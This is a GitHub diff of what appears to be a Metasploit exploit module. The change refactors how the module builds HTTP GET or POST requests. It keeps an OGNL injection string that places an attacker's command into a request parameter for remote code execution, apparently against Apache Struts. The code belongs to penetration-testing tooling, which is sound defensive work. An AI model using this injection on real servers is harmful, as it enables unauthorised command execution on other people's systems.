File tree Expand file tree Collapse file tree 1 file changed +7
-14
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +7
-14
lines changed Original file line number Diff line number Diff line change @@ -79,23 +79,15 @@ def execute_command(cmd, opts = {})
79
79
inject = "${#_memberAccess[\" allowStaticMethodAccess\" ]=true,CMD}"
80
80
inject . gsub! ( /CMD/ , cmd )
81
81
uri = normalize_uri ( target_uri . path )
82
-
82
+ req_hash = { 'uri' => uri , 'version' => '1.1' , 'method' => datastore [ 'HTTPMETHOD' ] }
83
+
83
84
case datastore [ 'HTTPMETHOD' ]
84
85
when 'POST'
85
- resp = send_request_cgi ( {
86
- 'uri' => uri ,
87
- 'vars_post' => { datastore [ 'PARAMETER' ] => inject } ,
88
- 'version' => '1.1' ,
89
- 'method' => 'POST'
90
- } )
86
+ req_hash . merge! ( { 'vars_post' => { datastore [ 'PARAMETER' ] => inject } } )
91
87
when 'GET'
92
- resp = send_request_cgi ( {
93
- 'uri' => uri ,
94
- 'vars_get' => { datastore [ 'PARAMETER' ] => inject } ,
95
- 'version' => '1.1' ,
96
- 'method' => 'GET'
97
- } )
88
+ req_hash . merge! ( { 'vars_get' => { datastore [ 'PARAMETER' ] => inject } } )
98
89
end
90
+
99
91
# Display a nice "progress bar" instead of message spam
100
92
case @notify_flag
101
93
when 0
@@ -106,7 +98,8 @@ def execute_command(cmd, opts = {})
106
98
when 2
107
99
print_status ( "Payload upload complete" )
108
100
end
109
- return resp #Used for check function.
101
+
102
+ return send_request_cgi ( req_hash ) #Used for check function.
110
103
end
111
104
112
105
def exploit
You can’t perform that action at this time.
0 commit comments